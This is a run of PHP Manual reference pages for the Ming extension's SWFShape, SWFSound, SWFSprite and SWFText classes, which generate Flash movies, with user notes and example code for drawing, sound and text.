This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::drawline() draws a line (using the current line style set by swfshape::setline()) from the current pen position to displacement (dx,dy).

Return Values

No value is returned.

See Also

  • SWFShape::drawLineTo() - Draws a line

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::drawGlyph
SWFShape::drawLineTo
SWFShape


Draws a line

SWFShape::drawLine
SWFShape::movePen
SWFShape
PHP Manual

SWFShape::drawLineTo

(PHP 4 >= 4.0.5)

SWFShape::drawLineTo — Draws a line

Description

void SWFShape::drawLineTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setrightfill() draws a line (using the current line style, set by swfshape::setline()) from the current pen position to point (x,y) in the shape's coordinate space.

Return Values

No value is returned.

See Also

  • SWFShape::drawLine() - Draws a line (relative)

User Contributed Notes

lexmanspam at laposte dot net 27-Jul-2005 12:04
If you have the error <<drawlineto(): failed assertion>> :

Ming can't handel drawLineToTo if the distance from the previous point is over 8276.7 pixels (mesured empiriticaly) in the vertical or horizontal axis
 Why ?
Coordinates in SWF are in twips (20 twips = 1 pixel)
 and 2^16 = 65536 = 3276.8 * 20
So we can assume that coordinates of drawLineTo in SWf are relatives to the previous point, and take 16 bits (plus the sign).
Or it can be ming that brings this limitation
These measures have been made with ming_setScale(20.00000000);
This issue doesn't seem to occur with movePenTo

Here's how you can handle this :

<?php
function splitForMing($x1, $y1, $x2, $y2) {
  $res = array();
  $nbSegments =  floor(max(abs($x2 - $x1), abs($y2 - $y1)) / 3276) + 1;
  for($i = 1; $i < $nbSegments ; $i++) { // ($nbSegments - 1) iterations in the loop : the 1st point is assumed to have been already processed ; the last one is already known
            $res[] = array($x1 + ($x2 - $x1) * $i / $nbSegments, $y1 + ($y2 - $y1) * $i / $nbSegments);
  }
  $res[] = array($x2, $y2);
  return $res;
}

ming_setScale(20.00000000);
ming_useswfversion(6); // With ming 0.3
$movie = new SWFMovie();
$movie->setDimension(20000,8000);
$movie->setBackground(0xcc, 0xcc, 0xcc );
$movie->setRate(24);

$polygone = new SWFShape();
$polygone->setRightFill($polygone->addFill(0xff, 0, 0));
$polygone->setLine(20, 0x7f, 0, 0);
$polygone->movePenTo(10000, 500); // No split needed for movePenTo
$tmp = splitForMing(10000, 500, 15000, 500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$tmp = splitForMing(15000, 500, 15000, 5500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$tmp = splitForMing(15000, 5500, 10000, 500);
for( $i = 0 ; $i < count($tmp) ; $i++) {
     $polygone->drawLineTo($tmp[$i][0], $tmp[$i][1]); // C
}
$polygone->drawLineTo(15000, 15000);
$ajout = $movie->add($polygone);
$ajout->setName("test");
$movie->output();
?>
SWFShape::drawLine
SWFShape::movePen
SWFShape


Moves the shape's pen (relative)

SWFShape::drawLineTo
SWFShape::movePenTo
SWFShape
PHP Manual

SWFShape::movePen

(PHP 4 >= 4.0.5)

SWFShape::movePen — Moves the shape's pen (relative)

Description

void SWFShape::movePen ( float $dx , float $dy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setrightfill() move the shape's pen from coordinates (current x,current y) to (current x + dx, current y + dy) in the shape's coordinate space.

Return Values

No value is returned.

See Also

  • SWFShape::movePenTo() - Moves the shape's pen

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::drawLineTo
SWFShape::movePenTo
SWFShape


Moves the shape's pen

SWFShape::movePen
SWFShape::setLeftFill
SWFShape
PHP Manual

SWFShape::movePenTo

(PHP 4 >= 4.0.5)

SWFShape::movePenTo — Moves the shape's pen

Description

void SWFShape::movePenTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setrightfill() move the shape's pen to (x,y) in the shape's coordinate space.

Return Values

No value is returned.

See Also

  • SWFShape::movePen() - Moves the shape's pen (relative)

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::movePen
SWFShape::setLeftFill
SWFShape


Sets left rasterizing color

SWFShape::movePenTo
SWFShape::setLine
SWFShape
PHP Manual

SWFShape::setLeftFill

(PHP 4 >= 4.0.5)

SWFShape::setLeftFill — Sets left rasterizing color

Description

void SWFShape::setLeftFill ( SWFGradient $fill )
void setLeftFill ( int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

What this nonsense is about is, every edge segment borders at most two fills. When rasterizing the object, it's pretty handy to know what those fills are ahead of time, so the swf format requires these to be specified.

swfshape::setleftfill() sets the fill on the left side of the edge- that is, on the interior if you're defining the outline of the shape in a counter-clockwise fashion. The fill object is an SWFFill object returned from one of the addFill functions above.

This seems to be reversed when you're defining a shape in a morph, though. If your browser crashes, just try setting the fill on the other side.

Shortcut for $swfshape->setleftfill($s->addfill($r, $g, $b [, $a]));.

Return Values

No value is returned.

See Also

  • SWFShape::setRightFill() - Sets right rasterizing color

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::movePenTo
SWFShape::setLine
SWFShape


Sets the shape's line style

SWFShape::setLeftFill
SWFShape::setRightFill
SWFShape
PHP Manual

SWFShape::setLine

(PHP 4 >= 4.0.5)

SWFShape::setLine — Sets the shape's line style

Description

void SWFShape::setLine ( SWFShape $shape )
void setLine ( int $width , int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfshape::setline() sets the shape's line style. width is the line's width. If width is 0, the line's style is removed (then, all other arguments are ignored). If width > 0, then line's color is set to red, green, blue. Last parameter a is optional.

You must declare all line styles before you use them (see example).

Return Values

No value is returned.

Examples

This simple example will draw a big "!#%*@", in funny colors and gracious style.

Example #1 swfshape::setline() example

<?php
$s = new SWFShape();
$f1 = $s->addFill(0xff, 0, 0);
$f2 = $s->addFill(0xff, 0x7f, 0);
$f3 = $s->addFill(0xff, 0xff, 0);
$f4 = $s->addFill(0, 0xff, 0);
$f5 = $s->addFill(0, 0, 0xff);

// bug: have to declare all line styles before you use them
$s->setLine(40, 0x7f, 0, 0);
$s->setLine(40, 0x7f, 0x3f, 0);
$s->setLine(40, 0x7f, 0x7f, 0);
$s->setLine(40, 0, 0x7f, 0);
$s->setLine(40, 0, 0, 0x7f);

$f = new SWFFont('Techno.fdb');

$s->setRightFill($f1);
$s->setLine(40, 0x7f, 0, 0);
$s->drawGlyph($f, '!');
$s->movePen($f->getWidth('!'), 0);

$s->setRightFill($f2);
$s->setLine(40, 0x7f, 0x3f, 0);
$s->drawGlyph($f, '#');
$s->movePen($f->getWidth('#'), 0);

$s->setRightFill($f3);
$s->setLine(40, 0x7f, 0x7f, 0);
$s->drawGlyph($f, '%');
$s->movePen($f->getWidth('%'), 0);

$s->setRightFill($f4);
$s->setLine(40, 0, 0x7f, 0);
$s->drawGlyph($f, '*');
$s->movePen($f->getWidth('*'), 0);

$s->setRightFill($f5);
$s->setLine(40, 0, 0, 0x7f);
$s->drawGlyph($f, '@');

$m = new SWFMovie();
$m->setDimension(3000,2000);
$m->setRate(12.0);
$i = $m->add($s);
$i->moveTo(1500-$f->getWidth("!#%*@")/2, 1000+$f->getAscent()/2);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

Return Values

No value is returned.

User Contributed Notes

Brad 04-Oct-2011 12:27
Just wanted to point out that a $width value of 0 does _not_ prevent the line from being drawn.  It causes a non-scaling, single pixel line to be drawn.  This is analogous to the way this is handled in ActionScript (see http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/Graphics.html#lineStyle%28%29)

If you do not want a line to be drawn at all, use NAN for $width instead of zero.
SWFShape::setLeftFill
SWFShape::setRightFill
SWFShape


Sets right rasterizing color

SWFShape::setLine
SWFSound
SWFShape
PHP Manual

SWFShape::setRightFill

(PHP 4 >= 4.0.5)

SWFShape::setRightFill — Sets right rasterizing color

Description

void SWFShape::setRightFill ( SWFGradient $fill )
void setRightFill ( int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Shortcut for $swfshape->setrightfill($s->addfill($r, $g, $b [, $a]));.

Return Values

No value is returned.

See Also

  • SWFShape::setLeftFill() - Sets left rasterizing color

User Contributed Notes

There are no user contributed notes for this page.
SWFShape::setLine
SWFSound
SWFShape


The SWFSound class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFSound.

Class synopsis

SWFSound {
/* Methods */
__construct ( string $filename [, int $flags = 0 ] )
}

Table of Contents

  • SWFSound::__construct — Returns a new SWFSound object from given file

User Contributed Notes

egonbraun a t gmail d o t c o m 14-Aug-2008 09:52
Just an example of how to use this class. It just cerates a serie of three images with a background sound in each one of them.

<?php
    $movie = new SWFMovie();
    $movie->setRate(1);

    $img1 = new SWFBitmap(fopen('./tmp/img1.jpg', 'rb'));
    $img2 = new SWFBitmap(fopen('./tmp/img2.jpg', 'rb'));
    $img3 = new SWFBitmap(fopen('./tmp/img3.jpg', 'rb'));
    $snd1 = new SWFSound(fopen('./tmp/1.wav', 'rb'), SWF_SOUND_22KHZ|SWF_SOUND_16BITS|SWF_SOUND_MONO);
    $snd2 = new SWFSound(fopen('./tmp/2.wav', 'rb'), SWF_SOUND_22KHZ|SWF_SOUND_16BITS|SWF_SOUND_MONO);
    $snd3 = new SWFSound(fopen('./tmp/3.wav', 'rb'), SWF_SOUND_22KHZ|SWF_SOUND_16BITS|SWF_SOUND_MONO);

    $s = $movie->startSound($snd1);
    $s->loopcount(1);
    $s->loopinpoint(1 * 100);

    $i = $movie->add($img1);
    $i->setDepth(1);
    $movie->nextFrame();

    $s = $movie->startSound($snd2);
    $s->loopcount(1);
    $s->loopinpoint(1 * 100);

    $i = $movie->add($img2);
    $i->setDepth(2);
    $movie->nextFrame();

    $s = $movie->startSound($snd3);
    $s->loopcount(1);
    $s->loopinpoint(1 * 100);

    $i = $movie->add($img3);
    $i->setDepth(3);
    $movie->nextFrame();

    $movie->setBackground(0xff, 0xff, 0xff);
    $movie->setDimension(130, 97);
    $movie->add(new SWFAction("gotoFrame(0); play();"));
    $movie->nextFrame();

    $movie->save("bw.swf");
?>
SWFShape::setRightFill
SWFSound::__construct
Ming


Returns a new SWFSound object from given file

SWFSound
SWFSoundInstance
SWFSound
PHP Manual

SWFSound::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSound::__construct — Returns a new SWFSound object from given file

Description

SWFSound::__construct ( string $filename [, int $flags = 0 ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFSound
SWFSoundInstance
SWFSound


The SWFSoundInstance class

(No version information available, might only be in SVN)

Introduction

SWFSoundInstance objects are returned by the SWFSprite::startSound() and SWFMovie::startSound() methods.

Class synopsis

SWFSoundInstance {
/* Methods */
void loopCount ( int $point )
void loopInPoint ( int $point )
void loopOutPoint ( int $point )
void noMultiple ( void )
}

Table of Contents

  • SWFSoundInstance::loopCount — Description
  • SWFSoundInstance::loopInPoint — Description
  • SWFSoundInstance::loopOutPoint — Description
  • SWFSoundInstance::noMultiple — Description

User Contributed Notes

There are no user contributed notes for this page.
SWFSound::__construct
SWFSoundInstance::loopCount
Ming


SWFSoundInstance
SWFSoundInstance::loopInPoint
SWFSoundInstance
PHP Manual

SWFSoundInstance::loopCount

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::loopCount —

Description

void SWFSoundInstance::loopCount ( int $point )
Warning

This function is currently not documented; only its argument list is available.

Parameters

point

Return Values

No value is returned.

See Also

  • SWFSoundInstance::loopOutPoint() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFSoundInstance
SWFSoundInstance::loopInPoint
SWFSoundInstance


SWFSoundInstance::loopCount
SWFSoundInstance::loopOutPoint
SWFSoundInstance
PHP Manual

SWFSoundInstance::loopInPoint

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::loopInPoint —

Description

void SWFSoundInstance::loopInPoint ( int $point )
Warning

This function is currently not documented; only its argument list is available.

Parameters

point

Return Values

No value is returned.

See Also

  • SWFSoundInstance::loopOutPoint() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFSoundInstance::loopCount
SWFSoundInstance::loopOutPoint
SWFSoundInstance


SWFSoundInstance::loopInPoint
SWFSoundInstance::noMultiple
SWFSoundInstance
PHP Manual

SWFSoundInstance::loopOutPoint

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::loopOutPoint —

Description

void SWFSoundInstance::loopOutPoint ( int $point )
Warning

This function is currently not documented; only its argument list is available.

Parameters

point

Return Values

No value is returned.

See Also

  • SWFSoundInstance::loopInPoint() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFSoundInstance::loopInPoint
SWFSoundInstance::noMultiple
SWFSoundInstance


SWFSoundInstance::loopOutPoint
SWFSprite
SWFSoundInstance
PHP Manual

SWFSoundInstance::noMultiple

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSoundInstance::noMultiple —

Description

void SWFSoundInstance::noMultiple ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFSoundInstance::loopOutPoint
SWFSprite
SWFSoundInstance


The SWFSprite class

(No version information available, might only be in SVN)

Introduction

An SWFSprite is also known as a "movie clip", this allows one to create objects which are animated in their own timelines. Hence, the sprite has most of the same methods as the movie.

Class synopsis

SWFSprite {
/* Methods */
void add ( object $object )
__construct ( void )
void labelFrame ( string $label )
void nextFrame ( void )
void remove ( object $object )
void setFrames ( int $number )
SWFSoundInstance startSound ( SWFSound $sount )
void stopSound ( SWFSound $sount )
}

Table of Contents

  • SWFSprite::add — Adds an object to a sprite
  • SWFSprite::__construct — Creates a movie clip (a sprite)
  • SWFSprite::labelFrame — Labels frame
  • SWFSprite::nextFrame — Moves to the next frame of the animation
  • SWFSprite::remove — Removes an object to a sprite
  • SWFSprite::setFrames — Sets the total number of frames in the animation
  • SWFSprite::startSound — Description
  • SWFSprite::stopSound — Description

User Contributed Notes

o dot marce at free dot fr 03-Oct-2005 12:47
Note that when adding an sprite to a container (sprite or movie), only the object added to the sprite before the addin to the container will be displayed.

<?php
// In this case, myShape will be displayed...
$sp=new SWFSprite();
$container=new SWFSprite();
$sp->add($myShape);
$container->add($sp);

// but not in this case
$sp=new SWFSprite();
$container=new SWFSprite();
$container->add($sp);
$sp->add($myShape);
?>
SWFSoundInstance::noMultiple
SWFSprite::add
Ming


Adds an object to a sprite

SWFSprite
SWFSprite::__construct
SWFSprite
PHP Manual

SWFSprite::add

(PHP 4 >= 4.0.5)

SWFSprite::add — Adds an object to a sprite

Description

void SWFSprite::add ( object $object )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::add() adds a swfshape(), a
swfbutton(), a swftext(),
a swfaction() or a swfsprite() object.

For displayable types (swfshape(),
swfbutton(), swftext(),
swfaction() or swfsprite()),
this returns a handle  to the object in a display list.

Return Values

No value is returned.

User Contributed Notes

php_dev at dunnbypaul dot net 31-Jul-2007 12:33
Apparently this function DOES, in fact, return a value as many of the MING examples show. It is a SWFDisplayItem.  Here is an excerpt of an example that appears elsewhere in the MING docs...

<?php
  $p = new SWFSprite();
  $i = $p->add($s);
  $p->nextFrame();
  $i->rotate(15);
  $p->nextFrame();
?>
SWFSprite
SWFSprite::__construct
SWFSprite


Creates a movie clip (a sprite)

SWFSprite::add
SWFSprite::labelFrame
SWFSprite
PHP Manual

SWFSprite::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::__construct — Creates a movie clip (a sprite)

Description

SWFSprite::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFSprite object.

User Contributed Notes

There are no user contributed notes for this page.
SWFSprite::add
SWFSprite::labelFrame
SWFSprite


Labels frame

SWFSprite::__construct
SWFSprite::nextFrame
SWFSprite
PHP Manual

SWFSprite::labelFrame

(PHP 4 >= 4.3.3)

SWFSprite::labelFrame — Labels frame

Description

void SWFSprite::labelFrame ( string $label )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFSprite::__construct
SWFSprite::nextFrame
SWFSprite


Moves to the next frame of the animation

SWFSprite::labelFrame
SWFSprite::remove
SWFSprite
PHP Manual

SWFSprite::nextFrame

(PHP 4 >= 4.0.5)

SWFSprite::nextFrame — Moves to the next frame of the animation

Description

void SWFSprite::nextFrame ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::setframes() moves to the next frame of the animation.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFSprite::labelFrame
SWFSprite::remove
SWFSprite


Removes an object to a sprite

SWFSprite::nextFrame
SWFSprite::setFrames
SWFSprite
PHP Manual

SWFSprite::remove

(PHP 4 >= 4.0.5)

SWFSprite::remove — Removes an object to a sprite

Description

void SWFSprite::remove ( object $object )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::remove() remove a swfshape(), a
swfbutton(), a swftext(),
a swfaction() or a swfsprite() object
from the sprite.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFSprite::nextFrame
SWFSprite::setFrames
SWFSprite


Sets the total number of frames in the animation

SWFSprite::remove
SWFSprite::startSound
SWFSprite
PHP Manual

SWFSprite::setFrames

(PHP 4 >= 4.0.5)

SWFSprite::setFrames — Sets the total number of frames in the animation

Description

void SWFSprite::setFrames ( int $number )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfsprite::setframes() sets the total number of frames in the animation to numberofframes.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFSprite::remove
SWFSprite::startSound
SWFSprite


SWFSprite::setFrames
SWFSprite::stopSound
SWFSprite
PHP Manual

SWFSprite::startSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::startSound —

Description

SWFSoundInstance SWFSprite::startSound ( SWFSound $sount )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFSprite::stopSound() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFSprite::setFrames
SWFSprite::stopSound
SWFSprite


SWFSprite::startSound
SWFText
SWFSprite
PHP Manual

SWFSprite::stopSound

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFSprite::stopSound —

Description

void SWFSprite::stopSound ( SWFSound $sount )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFSprite::startSound() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFSprite::startSound
SWFText
SWFSprite


The SWFText class

(No version information available, might only be in SVN)

Introduction

SWFText.

Class synopsis

SWFText {
/* Methods */
void addString ( string $string )
void addUTF8String ( string $text )
__construct ( void )
float getAscent ( void )
float getDescent ( void )
float getLeading ( void )
float getUTF8Width ( string $string )
float getWidth ( string $string )
void moveTo ( float $x , float $y )
void setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
void setFont ( SWFFont $font )
void setHeight ( float $height )
void setSpacing ( float $spacing )
}

Table of Contents

  • SWFText::addString — Draws a string
  • SWFText::addUTF8String — Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color
  • SWFText::__construct — Creates a new SWFText object
  • SWFText::getAscent — Returns the ascent of the current font at its current size, or 0 if not available
  • SWFText::getDescent — Returns the descent of the current font at its current size, or 0 if not available
  • SWFText::getLeading — Returns the leading of the current font at its current size, or 0 if not available
  • SWFText::getUTF8Width — calculates the width of the given string in this text objects current font and size
  • SWFText::getWidth — Computes string's width
  • SWFText::moveTo — Moves the pen
  • SWFText::setColor — Sets the current text color
  • SWFText::setFont — Sets the current font
  • SWFText::setHeight — Sets the current font height
  • SWFText::setSpacing — Sets the current font spacing

User Contributed Notes

p_smiecho at interia dot pl 01-Dec-2003 03:26
It seems to me that there is a bug: everything works perfect but only with Linux. SWFText crashes while working on Windows. So I do it that way:

<?php
   $f = new SWFFont('Arial');
   $t = new SWFTextField();
   $t -> setFont($f);
   $t -> addString('Hello world!!!');

   $p = new SWFSprite();
   $i = $p -> add($t);
   $i -> moveto(100, 100);    // Here you can move text !!
   //$p -> remove($i);

   $m = new SWFMovie();
//   ...
   $m -> add($p);
?>

Of course it writes text where I want, but I still can't get other methods of SWFText class. For example: I can't get text width (swftext->getwidth).
franky at boucheros dot com 22-Apr-2002 06:12
For windows platform :

<?php
$f=new SWFFont("_sans");
$t=new SWFTextField();
?>

and comment the moveto line.
SWFSprite::stopSound
SWFText::addString
Ming


Draws a string

SWFText
SWFText::addUTF8String
SWFText
PHP Manual

SWFText::addString

(PHP 4 >= 4.0.5)

SWFText::addString — Draws a string

Description

void SWFText::addString ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::addstring() draws the string string at the current pen (cursor) location. Pen is at the baseline of the text; i.e., ascending text is in the -y direction.

Return Values

No value is returned.

See Also

  • SWFText::addUTF8String() - Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color

User Contributed Notes

There are no user contributed notes for this page.
SWFText
SWFText::addUTF8String
SWFText


Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color

SWFText::addString
SWFText::__construct
SWFText
PHP Manual

SWFText::addUTF8String

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::addUTF8String — Writes the given text into this SWFText object at the current pen position, using the current font, height, spacing, and color

Description

void SWFText::addUTF8String ( string $text )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFText::addString() - Draws a string

User Contributed Notes

There are no user contributed notes for this page.
SWFText::addString
SWFText::__construct
SWFText


Creates a new SWFText object

SWFText::addUTF8String
SWFText::getAscent
SWFText
PHP Manual

SWFText::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::__construct — Creates a new SWFText object

Description

SWFText::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFText object, fresh for manipulating.

Examples

This simple example will draw a big yellow "PHP generates Flash with Ming" text, on white background.

Example #1 swftext() example

<?php
$f = new SWFFont("Techno.fdb");
$t = new SWFText();
$t->setFont($f);
$t->moveTo(200, 2400);
$t->setColor(0xff, 0xff, 0);
$t->setHeight(1200);
$t->addString("PHP generates Flash with Ming!!");

$m = new SWFMovie();
$m->setDimension(5400, 3600);

$m->add($t);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.
SWFText::addUTF8String
SWFText::getAscent
SWFText


Returns the ascent of the current font at its current size, or 0 if not available

SWFText::__construct
SWFText::getDescent
SWFText
PHP Manual

SWFText::getAscent

(PHP 4 >= 4.0.5)

SWFText::getAscent — Returns the ascent of the current font at its current size, or 0 if not available

Description

float SWFText::getAscent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFText::getDescent() - Returns the descent of the current font at its current size, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.
SWFText::__construct
SWFText::getDescent
SWFText


Returns the descent of the current font at its current size, or 0 if not available

SWFText::getAscent
SWFText::getLeading
SWFText
PHP Manual

SWFText::getDescent

(PHP 4 >= 4.0.5)

SWFText::getDescent — Returns the descent of the current font at its current size, or 0 if not available

Description

float SWFText::getDescent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFText::getAscent() - Returns the ascent of the current font at its current size, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.
SWFText::getAscent
SWFText::getLeading
SWFText


Returns the leading of the current font at its current size, or 0 if not available

SWFText::getDescent
SWFText::getUTF8Width
SWFText
PHP Manual

SWFText::getLeading

(PHP 4 >= 4.0.5)

SWFText::getLeading — Returns the leading of the current font at its current size, or 0 if not available

Description

float SWFText::getLeading ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFText::getDescent
SWFText::getUTF8Width
SWFText


calculates the width of the given string in this text objects current font and size

SWFText::getLeading
SWFText::getWidth
SWFText
PHP Manual

SWFText::getUTF8Width

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFText::getUTF8Width — calculates the width of the given string in this text objects current font and size

Description

float SWFText::getUTF8Width ( string $string )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFText::getWidth() - Computes string's width

User Contributed Notes

There are no user contributed notes for this page.
SWFText::getLeading
SWFText::getWidth
SWFText


Computes string's width

SWFText::getUTF8Width
SWFText::moveTo
SWFText
PHP Manual

SWFText::getWidth

(PHP 4 >= 4.0.5)

SWFText::getWidth — Computes string's width

Description

float SWFText::getWidth ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the rendered width of the string at the text object's current font, scale, and spacing settings.

See Also

  • SWFText::getUTF8Width() - calculates the width of the given string in this text objects current font and size

User Contributed Notes

There are no user contributed notes for this page.
SWFText::getUTF8Width
SWFText::moveTo
SWFText


Moves the pen

SWFText::getWidth
SWFText::setColor
SWFText
PHP Manual

SWFText::moveTo

(PHP 4 >= 4.0.5)

SWFText::moveTo — Moves the pen

Description

void SWFText::moveTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::moveto() moves the pen (or cursor, if that makes more sense) to (x,y) in text object's coordinate space. If either is zero, though, value in that dimension stays the same. Annoying, should be fixed.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFText::getWidth
SWFText::setColor
SWFText


Sets the current text color

SWFText::moveTo
SWFText::setFont
SWFText
PHP Manual

SWFText::setColor

(PHP 4 >= 4.0.5)

SWFText::setColor — Sets the current text color

Description

void SWFText::setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Changes the current text color.

Parameters

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF:

red

Value of red component

green

Value of green component

blue

Value of blue component

a

Value of alpha component

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFText::moveTo
SWFText::setFont
SWFText


Sets the current font

SWFText::setColor
SWFText::setHeight
SWFText
PHP Manual

SWFText::setFont

(PHP 4 >= 4.0.5)

SWFText::setFont — Sets the current font

Description

void SWFText::setFont ( SWFFont $font )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::setfont() sets the current font to font.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFText::setColor
SWFText::setHeight
SWFText


Sets the current font height

SWFText::setFont
SWFText::setSpacing
SWFText
PHP Manual

SWFText::setHeight

(PHP 4 >= 4.0.5)

SWFText::setHeight — Sets the current font height

Description

void SWFText::setHeight ( float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::setheight() sets the current font height to height. Default is 240.

Return Values

No value is returned.

User Contributed Notes

o dot marce at free dot fr 27-Sep-2005 11:11
SWFText->setHeight seems to take a pixel value, not a twips  value (20 twips per pixel)
SWFText::setFont
SWFText::setSpacing
SWFText


Sets the current font spacing

SWFText::setHeight
SWFTextField
SWFText
PHP Manual

SWFText::setSpacing

(PHP 4 >= 4.0.5)

SWFText::setSpacing — Sets the current font spacing

Description

void SWFText::setSpacing ( float $spacing )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftext::setspacing() sets the current font spacing to spacing. Default is 1.0. 0 is all of the letters written at the same point. This doesn't really work that well because it inflates the advance across the letter, doesn't add the same amount of spacing between the letters. I should try and explain that better, prolly. Or just fix the damn thing to do constant spacing. This was really just a way to figure out how letter advances work, anyway.. So nyah.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFText::setHeight
SWFTextField
SWFText


The SWFTextField class

(No version information available, might only be in SVN)

Introduction

SWFTextField.

Class synopsis

SWFTextField {
/* Methods */
void addChars ( string $chars )
void addString ( string $string )
void align ( int $alignement )
__construct ([ int $flags ] )
void setBounds ( float $width , float $height )
void setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
void setFont ( SWFFont $font )
void setHeight ( float $height )
void setIndentation ( float $width )
void setLeftMargin ( float $width )
void setLineSpacing ( float $height )
void setMargins ( float $left , float $right )
void setName ( string $name )
void setPadding ( float $padding )
void setRightMargin ( float $width )
}

Table of Contents

  • SWFTextField::addChars — adds characters to a font that will be available within a textfield
  • SWFTextField::addString — Concatenates the given string to the text field
  • SWFTextField::align — Sets the text field alignment
